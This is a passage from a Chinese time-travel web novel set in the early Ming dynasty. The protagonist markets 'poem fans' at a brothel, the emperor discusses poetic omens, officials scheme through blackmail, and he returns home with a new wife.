杨成衣服不贵不贱,器宇轩昂,任谁也不敢轻视。何况刚才和蓝玉的一番交手,众人更是觉得此人来历神秘。 “这是什么扇子啊,怎么没见过,中间有个横梁!” “我怎么有点印象呢?是不是在我家哪里见过?是丫鬟们用过?不可能吧?” 在众人的狐疑声中,杨成微微转动手中的扇柄,让这把诗扇在灯烛下反射着绸绢的柔光。 “这诗扇其实并非今朝之物,乃是大唐盛世时,京城豪门女子心爱之物。 大唐盛世,豪迈风流,男女之间,常有诗词唱和,引为风雅之事。 可经过五代十国的乱世,到宋朝时已渐渐不为人知,待蒙元入主中原,就更加风流云散了。” 杨成的语气中,带着家国情怀,历史兴衰的厚重感,让众人一时间都有些恍惚,陷入某种深沉的情绪中。 “然而,真正的优秀文化是难以被彻底磨灭的!战乱能摧毁朝堂,文化却往往被民间延续。 诗扇流散民间,虽然仅得其形,未得其神,然而终究是流传下来了。 各位若是到市井中看看,便能看到一些和诗扇外型类似之物。只是做工略显粗糙,没有诗扇神韵罢了。” 有人恍然大悟:“难怪我说好像见过呢,我想起来了,我家煮饭的仆妇,好像就有这么一把扇子!” 龟奴也赶紧说道:“小人也见过的,不过确实粗糙许多,不似杨公子的这把,精致大气。” 也有人质疑道:“为何诗扇就要中间有一道横梁呢?只是为了让上下句看着更清晰明了吗?” 杨成摇头道:“诗非人力所为,乃天地灵气,浑然天成,世间妙手,偶然得之。 故而诗句之间有诗魂,分阴阳。太极之间尚有分割,诗句之间岂能无分割? 阴阳不分,是为混沌;诗魂无依,是失根骨。故而自古折扇题诗者众,团扇题诗者寡。 因折扇有根骨,有分割,而团扇没有。故而大唐才兴起诗扇,专为女子之用。” 众人恍然大悟,同时也暗自庆幸,幸亏男人的折扇上题诗是正宗做法,不是蒙元断了文化。 杨成之所以肯定折扇题诗,是因为团扇这东西,男人并非目标客户,所以不能凭空得罪。 就像奔驰夸五菱,五菱夸奔驰一样,不同客户群体的商品,互相抬举才是正道。 而且自己凭空弄出个诗扇文化来,必须得到社会群体的文化认同,才能迅速蔓延开来。 果然,已经有男子拿出自己的折扇把玩,并表示自己原本就觉得团扇缺了点什么,大概是缺文化吧。 “我就说为何折扇上题了诗,感觉就那么好看。团扇上题诗,感觉就软绵绵的没有风骨,原来如此啊!” “就是,团扇上画点花花草草看着还行,写诗确实感觉别扭,原来是缺少横梁的缘故?” 也有人小声嘟囔:“可是有了横梁感觉也不算很好看,没有横梁的看着不是更精致吗……” 立刻被人大声打断:“那是你欣赏不了诗扇的高级美感,那可是盛唐文化,底蕴深厚啊! 就凭你也敢质疑盛唐的诗文化?你什么功名?考上秀才没有?家师何人?家里几口人,人均几亩地,地里几头牛?” 混乱中,杨成微微一笑:“写诗的那位姑娘,家中在大唐开元时,便是京城制扇名家。 她家学渊源,坚守传统,故而当男子向她求亲时,她才会在诗扇上题诗以对。 在下不才,对上了她的诗句。既然各位想知道,那在下就献丑了。” 说完,杨成拿起雪姑娘的团扇,叹了口气,像是在鄙视这把不成器的普通团扇。 然后还是勉为其难地在空白处写下了一句诗:“何事秋风悲画扇”。 在杨成落笔时,还有人嚷嚷着杨成太过狂妄,都不肯先说出来,就直接落笔了。 万一雪姑娘不满意,或是众人都不认可,岂不是弄巧成拙,丢了大人吗? 可当杨成最后一笔写完时,众人都沉默了,默默地品味着这句诗带来的冲击。 人生若只如初见,何事秋风悲画扇。 一种说不清道不明的情绪弥散开来,似悲似喜,似缘似情,似假似真,似泣似诉。 就像你要远离家门,一去千里,归期未定,邻家小妹站在你面前,只说了一个“你……” 没人质疑,蓝玉瞪大了眼睛,反复看着这句话,两眼渐渐发光。 “杨成,你若不弃,我愿认你为头号干儿子……” 雪姑娘呆呆地看着扇子,缓缓抬头,全身的寒气似乎在慢慢消散,眼神中带着些许迷离。 “公子,这句诗果然是极好的。可是总觉得意犹未尽,不知公子可否成诗?” 杨成想了想,又看了看手中空白的诗扇,淡然一笑。 “本来是带一把我海盐杨记的诗扇送给朋友的,既然今日有幸认识雪姑娘,便赠与姑娘吧。” 伸手提笔,在诗扇横梁的两面分别写上了两句诗。 “等闲变却故人心,却道故人心易变。” 之后将诗扇递给了雪姑娘,微笑道:“姑娘,扇子的横梁上有个杨字,乃是正宗的海盐杨记诗扇。 这把扇子加上这句诗,便是信物。日后姑娘有难,可持此扇到海盐寻我。 便是寻不到我,你拿着这把扇子,提起我的名字,海盐人也不会袖手旁观的。” 杨成的语气中充满了自信,那种底气,甚至连蓝玉都有些嫉妒。 即便他指挥过千军万马,却也感觉自己无法随随便便说出这样的话来。 就在雪姑娘玉雕一般的脸上出现一丝红晕,冰冷的眼睛中融化出一层水气,刚要张口的时候。 人群中终于出现了杨成期待的声音:“那么杨公子,你这诗扇,在哪里才能买得到呢?” 第一百零五章 迷信 杨成淡然一笑:“现在全国都有卖的,京城应该也有的,不过就是粗糙了些,凑合着能用。 天下诗扇出海盐,海盐诗扇看杨记。大家若能卖到海盐诗扇,也算不错,倒也不必太过讲究。” 众人顿时不乐意了,什么叫不必太过讲究?我们缺钱吗?我们缺的就是面子! 我们在乎的是质量吗?我们在乎的是创意吗?我们在乎的是牌子! 杨成见主线任务已经达成,转身要走,却被雪姑娘拉住了衣袖。 “杨公子……我……奴家新练了一个曲子……” 众人都羡慕的看着杨成,想不到今日冰山融化,多少人梦想过这副身子,却也只能以梅当雪。 杨成拱手为礼:“雪姑娘,既蒙盛情,在下有个不情之请。 蓝侯爷是我父祖的老相识,我想请他喝酒,为他壮行。雪姑娘可否为我二人弹奏一曲?” 雪姑娘犹豫一下,轻轻点头,转身上楼,让人准备酒菜,给琵琶调弦。 蓝玉一愣,他今天闹这么大,非要睡雪姑娘,就是为了当初立下的佛拉格,让雪姑娘为他送行。 想不到闹到最后,自己因为诗中谶语没睡上,但杨成还是绕着弯的让雪姑娘为自己送行了。 蓝玉哈哈大笑,扔下一群面面相觑的干儿子,拉着杨成上了二楼。 片刻后,琵琶声响起,正是一首《破阵子》。 这一日,蓝玉无日后之缘,却有知己之感。对饮狂歌,兴尽晚归。 武英殿里,朱元璋和朱标见毛骧进屋关上了门,便也趁机都伸了个懒腰。 朱标克制一些,只伸了半个,稍稍解乏便停住了。老朱却来了个豪华完整版的。 一边伸长还一边满足的打了个长长的哈欠,然后眼泪汪汪的看着毛骧,不知道的还以为他动了啥感情了。 “是不是杨成那小子真去青楼了,他到底干啥去了,睡没睡女人?” 毛骧将楼中发生之事,从头到尾,一五一十地说了起来,细节十分还原。 这就是锦衣卫暗探的水平,武功可以低,模样可以丑,但记忆力必须超强。 有时为了保密,一个情报口口相传,中间链条上可能有四五个人,传到皇上耳朵里照样一字不差,堪称人体复读机。 当听到杨成说爷爷对朱元璋的部队客气,是因为看出朱元璋天命所归,定鼎江山时,老朱开怀大笑。 “这个杨成啊,半真半假的,蓝玉被他哄得一愣一愣的,这也叫一物降一物了!” 当朱元璋和朱标听到后面解诗那一段,都愣了一下,片刻后,老朱看向朱标。 “标儿,你信杨成这话吗?几百年前的诗,这么凑巧?倒是说得有鼻子有眼的” 朱标沉吟道:“鬼神之事,圣人存而不论。测字算命,先天易数,也时有灵验。 诗中藏谶语,倒也不稀奇。例如隋炀帝杨广,在扬州迷楼刚建成,写过一首七绝《索酒歌》为贺。 宫木阴浓燕子飞,兴衰自古漫成悲。他日迷楼更好景,宫中吐焰奕红辉。 他本意是等到百花盛开之时,宫中姹紫嫣红,如火焰一般美好,谁知迷楼后来果然被火烧了。” 朱元璋是老粗,虽然后来恶补过文化,但对这些事儿知道的不多。 本以为杨成只是胡说八道吓唬蓝玉的,却不料听自己高学历的好大儿一说,诗谶竟然还是有历史的,顿时来了兴趣。 “还有别的吗,说给咱听听,刚好也解解乏。这些奏折都是缺钱缺钱缺钱,烦死人了!” 朱标见父亲难得对政务和生孩子之外的事儿感兴趣,也就多说几句,当给他讲故事解乏了。 “隋炀帝下扬州时,在运河上见到鲤鱼跃船头,写过一首诗。 三月三日到江头,正见鲤鱼波上游。意欲持钩往撩取,恐是蛟龙还复休。 当时就有人说皇帝金口玉言,看见‘李’,觉得是龙,天下将来恐怕要归李姓所有。” 朱元璋一拍大腿:“难怪,当年刘基曾劝过咱,说登基之后便为天子,口含天宪,不能再随口瞎说了。” 朱标点头道:“还有宋徽宗,写过一首《咏金芝生》,本意是赞叹别人献给他的祥瑞金色灵芝草。 道德方今喜造兴,万邦从化本天成,定知金帝来为主,不待春风便发生。 结果几年后,果然金国皇帝就‘来为主’了,把徽钦二帝抓走时,正是腊月,还未待春风吹。” 朱元璋皱眉道:“看来皇帝果然不能乱说话。信不信的,咱以后也要多说吉利话,少说丧气话。” 朱标笑道:“倒也不是只有皇帝才会写诗成谶,许多名人也有这类事儿发生的。 唐朝才女薛涛,年幼时便有才名,又出身官宦,所有人都说她将来必为贵妇。 据说四五岁时,其父为院中梧桐树作诗:‘庭中一古桐,耸干入云中。’ 其后两句迟迟不得,薛涛便应声而续:‘枝迎南北鸟,叶送往来风。’ 其父十分伤感,说女子做此语,将来迎来送往,左右逢源,大不吉利。 果然不久其父病逝,家道中落,薛涛沦落乐籍,成了一代名妓。” 朱元璋默然无语,许久后叹了口气:“朕出身贫苦,为僧为丐,几乎活不下去。 然而先遇义父赏识,后得你娘青眼。起兵以来,以少胜多,以弱胜强,不可计数。 终于一扫六合,定鼎江山。要说这里面没有天命所归,全是人力为之,也确实难以置信啊。 既有天命,便有劫数。诗中有谶,倒也不全是胡言乱语。也许杨成真是救了蓝玉一次呢。” 朱元璋本来不是个迷信的人,一个真正迷信的人,是很难利用迷信去控制别人的。 红巾军早期利用明教来团结士卒,每个将领都是半个传教士,朱元璋自然也不例外。 他也会用明教的教义来鼓舞士气,扩张队伍,但他自己心里,是不信那些的。 可随着他越来越顺,越来越接近皇位时,他必须制造舆论,让人们相信自己是真命天子,才好顺利登基。 在这方面,李善长和刘伯温都做了大量的文化宣传工作,让朱元璋逐渐成为了天命所归之人。 可有件事朱元璋并没有想到,神话一个人,影响的绝不仅仅是百姓,这个人自身也会受到影响。 被人们神话的久了,他自己也慢慢开始相信,其实自己真的就是天命所归,并非只是能力强,运气好。 所以此时他对杨成的诗谶一说,也从一开始的全然不信,变得有些半信半疑了。 朱标笑道:“不管真假,大军出征在即,蓝玉若真闹出点事儿来,父皇也确实头疼。 杨成也算为父皇解决了一个难题。不过,杨成去青楼不可能是为了救蓝玉吧,他肯定还有别的目的。” 毛骧点点头:“杨成后来说众人的团扇不正宗,不叫诗扇,还说天下诗扇出海盐,海盐诗扇看杨记。” 第一百零六章 忍耐 有人说朱标是蓝玉的外甥女婿,应该管蓝玉叫舅舅,不该直呼其名。 其实在皇族和外戚之间,称呼是很官方的,蓝玉需要称呼太子,而太子或称永昌侯,或称蓝玉。 只有在两人私底下的场合里,才会出现舅舅这类称呼。此时在老朱面前,朱标是不会这么叫的。 有读者留言质疑这个问题,我在此解释一下,以证明我看了大家的评论,并且十分重视。 此时朱元璋听到杨成宣传扇子,忍不住哈哈大笑,朱标也忍俊不禁。 “朕还当他有什么大事儿要做,不过是想趁机做生意罢了,这小子糖霜赚的还不嫌不够多吗?” 朱标却认真替杨成算了笔账:“父皇,若是杨成想自己锦衣玉食,那他现在早已足够了。 可他替盐城不少百姓扛着这次税银的债呢,这就需要他赚更多的钱了。 何况父皇还让他想办法,让海盐变成大明第一个无奴无仆的地方,那需要的钱就更多了。 糖霜虽然有暴利,但那毕竟是只有少数人才能买得起的,总量有限。 所以他才另辟蹊径,想从团扇上赚钱,这是风雅之物,有闲钱的人才买,不涉及民生。” 朱元璋点点头,笑容渐渐消失:“大明还是要以耕种为主,老百姓能吃上饭,才是最重要的。 商业一道,虽能给国家带来税赋,可毕竟不能产生粮食,所以商道不可太盛。 若经商的都比种地的过得好,那天底下就没人去种地了,大家都等着饿死了。 杨成是个可造之材,咱有意留给你用的,你找机会敲打敲打他,免得在过于重视商道,舍本逐末了。” 朱标点点头,没有反驳。他也认为朱元璋说得没错,在大明的初级阶段,粮食最重要。 杨成和蓝玉是一起离开春燕楼的,身后的雪姑娘已经快要融化成水姑娘了,却依然没能留住他。 倒不是杨成假正经,而是他知道今天自己的一举一动,老朱肯定了如指掌。 自己这次穿越,起点实在太低了,虽然比老朱的开局一个碗强点,但也不能浪,必须猥琐发育。 目前老朱对自己充其量算是印象不错,还远没到信重的程度,更别提宠信了。 若是自己教的功法,真能帮马皇后延延命,可能地位还能提升一点,但现在这还是未知数呢。 因此,在自己做出让老朱更满意的事儿之前,不能随便损耗老朱的好感,而要慢慢积累。 老朱很讨厌官员在青楼过夜,但他不反对官员纳妾。长期包养是可以的,一把一利索就是可耻的。 杨成虽然不怎么赞同老朱的看法,但他暂时还是要按照老朱的思路做人,保持和领导方向一致。 所以雪姑娘虽然冷玉寒香,入口即化,但杨成也只能暂时放弃,保持形象。 因此出楼之后,杨成的火气也有些大,就像唱完商K却没去宾馆一样。 当杨成看完凌晨四点的京城,赶在开城门后的第一波回到有间客栈时,天还没有完全亮。 客栈老板知道这位是这群包场客户的首领,十分殷勤,替杨成打了洗脸水,请他净面。 “公子这是去城里玩了吧,这身上的酒气一闻就知道是三十年陈酿,这香气一闻就是蝶恋斋的脂粉。 公子洗把脸,也可以换身儿衣服,小店帮公子洗了晾上,出太阳一晃就干了,免得被夫人察觉。” 夫人?杨成愣了一下,随即才想起来,自己现在是有夫人的人了啊! 杨成洗完脸,进了天字甲号房,也就是有间客栈的总统套间。 宽大的上房里有一张宽大的三人床,朱淑女蜷缩在最里面,被子连头都盖得严严实实的。 杨成关上门,上了床,被子里明显地颤动了一下。 杨成一把掀开被子,朱淑女吓得一哆嗦,两手下意识地护在胸前,却只能护住一小部分。 杨成打量了一下,只觉得火气更大了,他拿起一床被子,下床躺在矮榻上。 “把外衣脱了睡,别蒙着头,这两样加起来,你准得头晕。咱们就要赶路了,这时候别生病。” 朱淑女抱着另一床被子,半天才轻声道:“你……不必如此,我说过,我知道自己的身份。” 杨成打了个哈欠:“我懒,又不善解人衣,何时你肯脱光了在被窝里等我那天再说吧。” 朱淑女一阵羞恼,却也如释重负,耳听杨成的呼吸声越来越平稳,自己却再也睡不着了。 天色大亮后,众人收拾行装,准备出发。 来的时候很多辆马车,因为拉着粮食和税银,但回去的时候就不需要那么多马车了。 京城各家糖商的分号,都纷纷来把自家马车领走了,剩下的都是海盐本地富户出的马车。 杨成选了辆看起来最干净的粮车,让朱淑女坐进去,他自己不打算坐车里,而是当司机。 这不是杨成矫情,他虽然暂时没想睡朱淑女,但坐在车里磨磨蹭蹭他也并不在乎。 不过他上辈子就喜欢敞篷车。敞亮,豁达,不扭扭捏捏的,关键这车得是自己的才行。 车队开拔,有间客栈的老板跟众人依依惜别,再三叮嘱,下次再来一定要住自己这里,给金卡折扣! 而此时在一个小院中,吏部郎中高定,正看着眼前的册子,脸色苍白,茶水洒了一前襟。 “难为你们了,我一个小小的郎中,在京城里一砖头能砸中三个,竟然也值得你们费这么大的心思。” 户部侍郎王道亨坐在他对面,淡定地喝茶,一副胸有成竹,智珠在握的样子。 “高兄谦虚了,郎中和郎中能一样吗?你虽然只是个郎中,可却可就是给你外放个知府,你也未必肯去啊。 你是吏部郎中,深得信重。我可听说了,有个知府要见你,你都把人家晾在门外,等了小半天啊。” 高定看着眼前的册子,喃喃道:“权力大小,都是朝廷的,我不过是为朝廷办事儿办了。” 王道亨嘿嘿一笑,抖了抖那本册子:“朝廷让你帮人改考评等级了?朝廷让你替人换肥缺瘦缺了? 别的不说,老兄你这小院虽然看着不大,可这个地段,内部如此奢华,是老兄的俸禄能承受的?” 高定咬紧牙关,做最后的挣扎:“这不过是祖上有德,种地时挖出来过一坛金子,你知道我是农户的儿子……” 王道亨冷笑着将册子扔在桌子上:“皇上也是农户的儿子,他当年穷得要饭,怎么就没挖出金子来? 咱们一起去求见皇上,也许皇上看在同为农户儿子的份上,能少剐你几刀?” 第一百零七章 公主 高定被击败了,但他拿着那本记载着自己非法活动的册子,反而比刚才镇定了。 “说吧,你们想让我干什么?别狮子大开口,掉脑袋的事儿我不做。” 王道亨诧异道:“这册子上的事儿,足够让你掉脑袋了吧?皇上最狠贪污腐败了!” 高定摇了摇头:“册子上的事儿是够了,可我不一定都要承认,你们有实证的最多也就一半儿。 我高定这些年不是白混的,只要不是斩立决,没准儿就能逃一条性命。 所以我帮你办的事儿,不能超过我已经犯过的事儿,否则咱就一拍两散,鱼死网破!” 王道亨惊讶了,靠山会这些年来,从小到大,像个大蜘蛛一样,把五部官员和地方官吏网罗其中,靠的就是这百官行述。 他们靠的是瘟疫传染法,当一个官吏被他们拉下水之后,这人在帮他们办事儿的同时,还要额外写两个官吏的行述。 这样太极生两仪,两仪生四象,四象生八卦,八卦多了自然就有了把柄。 若行述写的好,里面的料足,那么该官吏在靠山会中的地位就会上升,有望进入核心圈层。 若行述写得不好,那就可能会被放弃,甚至会被强制下线,后果十分严重。 因此凡是被拿捏的官员,不但办事儿时不敢谈条件,写行述出卖亲人朋友也十分积极。 这种人传人的腐败污染法,首先是在家庭和朋友圈中传染,隐蔽性极强。 因为家人和朋友是最容易放松警惕的,也最容易被探知秘密,是天然的易感人群。 可今天,高定明确表示,自己可以替他们办事儿,但有限度,这让王道亨十分吃惊。 在王道亨看来,人一旦犯了错,就会像掉进沼泽一样,拼命挣扎,越陷越深。 就像校园贷一样,开始不过是想买一部手机而已,后来就变成失身女和失肾男了。 想不到高定掉进了沼泽,却直接躺平了,压根就不挣扎,也就不往下继续出溜。 任务紧急,王道亨决定先妥协,他绝对相信靠山会的能量,让高定失身或失肾都只是时间问题。 “也罢,既然高兄一时想不通,我也不强求。高兄就请给海盐知县写封信吧。 他过去首鼠两端,帮助杨成,我们就不追究了。但今后,他必须全力配合我们。” 高定提起笔来:“信我可以写,但郭纲听与不听,与我无关。 我只是收郭纲点银子,帮他半点事儿,我们之间是合作关系,不似你们这般厉害。” 王道亨笑道:“还是那句话,高兄谦虚了。求你办事儿的人,怎会没有把柄在你手里呢?” 高定点点头,开始写信:“郭贤弟见字如面,贤弟过往暗助杨成,开罪各部,愚兄以为不妥。 自古官民有别,我等皆为士林,自当一体同心,效忠朝廷,岂可与刁民为伍? 贤弟为官行事,各部皆知,其中亦有疏漏之处,若言官弹劾,还需众人力保。 今后当与各部官员精诚互助,不可主张刁民之风,慎之慎之。” 王道亨看完,也暗自佩服,这书信便是落入他人之手,也看不出什么大问题来,不过是站在官员立场,对刁民不满罢了。 但郭纲看了自然明白,所谓“贤弟为官行事,各部皆知,其中亦有疏漏之处”,就是明确告知。 哥们,你干的那点事,大家都知道了,我护不住你了,你自己看着办吧。 王道亨收起书信,笑道:“老兄想要明哲保身,我也不是不能成全你,但总得有点代价。 我们很想要一个人的行述,只要你能弄到这个人的把柄,我们保证今后不再烦你。” 高定沉默许久:“你们想要吏部尚书刘崧的行述,对吗?” 王道亨点点头,高定嘲讽地笑了,也不知道是在嘲讽王道亨,还是在嘲讽自己。 “死了这条心吧,这人没什么把柄能让你们抓的。你们还是省点力气去对付别人吧。” 王道亨也嘲讽道:“哦?这么说,大明官场这个大青楼里,还出了清倌人了? 这世上哪有什么圣人?不过是装腔作势罢了。春燕楼的雪姑娘,遇到王爷不也得张开大腿吗?” 春燕楼里,正张开大腿做拉伸动作的梅姑娘,把身体扭成了一个男人见了都得喷血的姿势。 “公主,你不是只接待皇子王爷和那些勋贵的吗,昨天为何要邀请杨成那小子?他何德何能?” 雪姑娘坐在靠窗的椅子上,外面过道里若有人经过,她都能听得一清二楚。 她的声音很低,很轻,很冰冷:“我接待皇子王爷是为了什么?邀请杨成就是为了什么。” 梅姑娘吃惊地把头从两腿之间钻出来:“他?就凭他?他又不姓朱,公主还对他寄予厚望?” 雪姑娘点点头:“别小看了这个人,我接待过的那几个皇子,只有一个能和他相比。 再说了,谁说这天下就非得姓朱不可?既然当初可能姓张,姓陈,为何就不能姓杨?” 梅姑娘的后脑勺儿已经被自己坐在曲线美妙的屁股下面了,但说话声音丝毫没有气喘勉强。 “公主这么看重此人,是否要告知国师一声。他离开了京城,咱们很难再见到他了,国师可以。” 雪姑娘淡淡说道:“国师知道他,也给我传过信。小唐曾经刺杀过他,被他修理了一顿。 所以昨天我才故意激怒蓝玉,就是想亲眼看看他的功夫和心性如何。” 梅姑娘把两条腿变成X形,用两个膝盖夹着自己的头,轻轻按摩。 “万一他要是害怕不出头,蓝牙又是个莽夫,公主该如何收场啊?” 雪姑娘笑了笑:“老办法,李代桃僵呗。李景隆乳臭未干,你弄晕他还不容易?” 梅姑娘娇媚的一笑,平时装出来的冷意荡然无存,犹如一个冰雕的小猫儿忽然变活了一般。 “虽然乳臭未干,但是真的很俊俏,人也温柔,还一个劲儿地问我疼不疼呢。” 雪姑娘看着她的眼神,神色有些落寞:“小梅,你要记住国师的话,我们对谁都不可动情。 若是这日子你过不下去了,就离开吧。国师那边,我会帮你的。” 梅姑娘立刻收起了娇媚的神色,变得清冷如七八分的雪姑娘。 “奴婢不敢,奴婢誓死追随公主,颠覆朱家江山,为主公报仇雪恨。” 第一百零八章 大娘子 杨成一行刚进入海盐境内,就看见了官道两边乌央乌央的人群。 那场面,真是红旗招展,人山人海,锣鼓喧天,鞭炮齐鸣。 没错,大明的旗帜大多是红旗,因为明朝尚火德,以赤色为主色。 几十个村的族长们站在前方,各村百姓站在族长身后,族长们手里象征性地捧着一碗水。 这是“箪食壶浆”,表达百姓的爱戴,是迎接打了胜仗的军队的仪式,但并不仅限于军队。 全海盐县都已经知道了,皇上把海盐从东吴之地画出去了,从此以后,海盐百姓不用再交双倍税赋了。 杨成赌对了,他相信朱元璋此时需要千金买马骨,相信自己的设计能让海盐和老朱双赢。 百姓们虽然不懂这中间的弯弯绕绕,但他们知道,若无杨成此行,这个大馅饼绝不可能掉在自己头上。 但族长们都是人老成精的家伙,知道此时决不能表现出对杨成的过分爱戴和热情,而是要赞美领导。 “皇上爱民如子啊!杨族长进京辛苦了,喝口水吧!” “皇上龙日天表!杨族长见过皇上,让大家沾沾龙气,喝口水吧!” “皇上体天格物!杨族长,这口一定要喝,我可是代表的白家村啊!你娘的,村子!” “皇上悲天悯人!杨族长喝一口吧!杨家湾和刘家湾共饮一河水啊!” “皇上万岁万岁万万岁!杨族长喝口水吧!” “皇上……嗯……皇后娘娘千岁千千岁!听说杨族长见到娘娘了,喝一口吧!” “太子殿下千岁千千岁!听说杨族长也见到太子了,喝一口吧……” 杨成打着饱嗝,咣荡着一肚子的水,带着大家向京城的方向给皇上行了礼。 如此宏大的场面,如此感人的气氛,让坐在马车里的朱淑女很震撼。 她偷偷掀开布帘儿,向外看去,然后就被几个眼见的孩子看见了。 “哇,好美的姐姐啊!” “哇,快看快看,绸子的衣服啊!” “哇,娘,奶奶,我要吃奶奶……” 众人目视杨成,等着他的解释。跟杨成一起上京的众人,哪能放过这个信息差的机会? 当即按照杨成的说法,眉飞色舞地讲了起来,你争我抢,生怕比别人说晚了。 “这位是杨成的第一房娘子!她爷爷也是将军,当年和杨将军指腹为婚的!” “对对对,这事儿知道的人原就极少,是当娘杨将军私下告诉杨成的!” “她爷爷没了,父母早逝,家里也没人了,这次进京,杨成就直接迎娶回来了!” “三媒六聘?都有都有,杨成都办完了。我们是没见着,朝廷也不让我们进城啊!” “嫁妆?有啊!没看见箱子?老土!人家新娘子是直接带着金子来的!” 人们都没表示质疑,在他们心里,此时对杨成的崇敬到了极点,愿意接受杨成的一切说法儿。 就算杨成是见色起意,从路上抢了个娘子回来,众人也觉得没啥。 前些年乱世之时,抢亲的还少吗?不也都过了一辈子?爱情嘛,是可以慢慢培养的。 只有被人群簇拥在C位的白寡妇目瞪口呆。 指腹为婚?指的谁的腹?讲道理,我被人指着肚子的时候,应该是有知情权的吧? 公公虽然比较沉默,不爱和自己交谈,但绝没有这种事儿都不告诉自己的理儿! 搞不好,这真是儿子见色起意,不知道从哪儿招惹了人家,给自己带回来了。 虽然心存怀疑,但白寡妇是绝不会当众拆台的,只是下意识地把两只手握得更紧了。 “大娘,你轻点,我手疼。” 右手边的秀儿手指纤细,又承担了白寡妇的主力手,估计是有点疼。 但她直勾勾看着杨成的眼神,又让人怀疑她眼里滚动的泪水,并不是只是因为手疼。 为什么我的眼中含满泪水?因为我对某个混蛋爱的深沉…… 白寡妇的左手忽然一阵疼痛,且越来越痛,她下意识地看向比自己高半头的李香儿。 李香儿柳眉倒竖,双拳紧握,一双大眼睛死死地盯着杨成,不时地眯一下,充满了杀气。 白寡妇的手劲轻松碾压秀儿,但她不敌李香儿。何况她是左手攥着李香儿的右手…… “香儿啊,香儿啊,你小点劲,大娘手疼!” 杨成此时无暇顾及比拼手劲的三人组,朱淑女是个大活人,藏不住瞒不住,他必须先声夺人。 只要一开始就让大家认可了她的来历,后面风言风语就会少很多,麻烦事儿也会少很多。 至于为啥让她当长房,这是没办法的事儿。虽然老朱是强行甩锅,但毕竟有个赐婚的名分在。 皇上赐婚,你又还没有明媒正娶的娘子呢,如果不给长房,让皇上知道了会咋想? 如果是马皇后赐婚也就罢了,还能讲讲理,老朱就算了,他小心眼儿。 杨成走到马车旁,轻声道:“大方点,跟大家打个招呼,以后你就是杨家长房娘子了。” 朱淑女眼圈一红,赶紧收拾心情,款款下车,向着众人盈盈一礼。 这上流社会标准的行礼姿势,顿时征服了没见过世面的海盐百姓,尤其是乡野村夫们。 “看人家的礼节,多么优雅,比咱县尊大人的小姐都优雅,更别提那些土财主家的女儿了!” “你咋知道县尊大人的小姐优雅了?郭小姐行礼,还能让你看见不成?” “你看不起人吗?郭县尊刚来那年,咱这儿不是青黄不接吗?大户们开过几天粥棚,还记得不?” “啊!想起来了。郭县尊好像也掏钱弄了个粥棚,我还去喝过两碗呢,比别人家的稠一些。” “当时主持粥棚的是郭县尊的公子郭永,刚进了学,春风得意。 郭县尊刚到本地,还在养望,确实比其他大户家多放了几把米。 但这不是关键,关键是郭小姐有一天出来帮忙过。别人给她行礼,她就还礼,我就看见了。” “啊,我都没看见过郭小姐呢,好看吗?” “肯定是没有这位大娘子美了,不过看着比他哥更像读书人,一身的书卷气。” “你斗大的字不认识一筐,还能看出什么书卷气?吹牛吧你!” “这叫什么话?我识字少就看不出书卷气了?我吃得还少呢,一样能看出你是个饭桶!” “你他妈的,吃我一拳……” “快看快看,这身材,杨成有福了……” “娘,奶奶,我要吃奶奶……” 第一百零九章 商人 当杨成回到家里时,一直欢送到村口的各村百姓才依依惜别,这让老族长的儿媳妇大大的松了口气。 自从杨成变好之后,杨家湾的日子蒸蒸日上,但老族长家的猪就再也没能长大过。 盖工坊,大家挥汗如雨,大吃二喝,老族长家养的猪没了一半儿。 跟白鹿山打架,各村支援,大吃二喝,老族长家养的猪全没了,还得加上白寡妇的鸡。 拿着大诰,抓秦强,上京之前壮行,大吃二喝,老族长家刚养上没多大的乳猪也没了。 虽然都是给了钱的,但老族长的儿媳妇酷爱养猪,就像白寡妇酷爱养鸡一样,不光是钱的事儿。 养猪未半而中道被宰,那种感觉就像好不容易把号儿练到三十级,忽然就被人偷了,还得从头练。 整个杀猪盛宴中最大的受益者是小黑,天天啃肉骨头,几个月的功夫就长得十分威猛了。 杨成回到家,只见母亲正呆呆地坐在空荡荡的大厅里,右手揉着左手。 朱淑女跟着杨成进屋,犹豫了一下,上前行礼。 “儿媳朱淑女,拜见翁姑。” 她先向着空着的主位座位行跪拜礼,杨家男人的灵位都已经进了祠堂,家中没有。 然后又向白寡妇行跪拜礼,十分认真,姿势优雅,身材突出。 白寡妇受完礼后,站起来扶起朱淑女,上下打量着,露出了满意的笑容。 “媳妇啊,你真是指腹为婚的?这小子没骗人吧?” 朱淑女点头道:“是真的,我有当年两位爷爷的订婚文书。” 朱淑女从怀里掏出一张文书来,看着还有点发黄。做戏做全套,这点事儿难不住杨成。 他倒不是存心瞒着母亲,而是这事儿的真相越少人知道越好,让母亲保守一个秘密,也是一种折磨。 白寡妇识字不多,但看那文书很正式,还有手印儿,便信以为真。 因为这事儿本来就是女方吃亏,如果不是真有这回事儿,哪个女子肯不明不白地出嫁? 何况这姑娘一看就是个大家闺秀,人家平白无故的,会嫁到乡下来当农妇? 白寡妇眉开眼笑,对朱淑女的硬实力十分认可,同时也觉得万事开头难,现在头已经开了。 有了第一个,就不愁第二个,有了第二个,就不愁第三个…… 想到这里,白寡妇又哀叹起来:“成子,你倒是提前让人跟娘说一声啊。 现在可倒好,这些日子,我费了多大的劲,才让李香儿和秀儿肯坐在一起了。 虽然彼此还是不说话,可也没那么大的敌意了。本打算等你回来就提亲呢。 你倒好,搞这种突然袭击,让人受得了受不了?带回一个来,搅黄了两个!算算还亏了一个呢!” 朱淑女进门时就看见隔壁侧房里有个清秀柔弱的女孩儿,拿着把扇子在抹眼泪儿,此时才明白原委。 “杨……相公,你去隔壁看看那位姑娘吧,别因为我……这多不好。” 杨成犹豫了一下,他能理解秀儿的心情,可他也没办法。 自己答应母亲要兼祧七家,注定不会是一个娘子,如果秀儿不能接受这一点,也是有缘无分。 他想了想,正要抬腿时,就听见大门口传来马嘶声,然后两个人匆匆忙忙地跑进门来。 前面的是刘通,一脸的兴高采烈;后面的是刘子业,一脸的生无可恋。 朱淑女十分懂事儿地退到隔壁的另一个侧房,反正杨成家别的不多,就是破烂屋子多。 刘通一进门就先给白寡妇奉上一个精美礼盒儿,因为他知道,白寡妇喜欢收礼。 虽然如今杨成家已经今非昔比了,但喜欢收礼的习惯是改不了的,跟有钱没钱关系不大。 可能有人觉得诧异,其实一类比就明白了。很多男人喜欢出轨,跟老婆漂不漂亮关系也不大。 白寡妇拿着礼盒儿喜滋滋地回自己屋里开盲盒儿去了,刘通这边兴奋地抓住杨成的胳膊。 “杨兄弟,发财了,发财了呀!这几天都是来我这里要进货诗扇的! 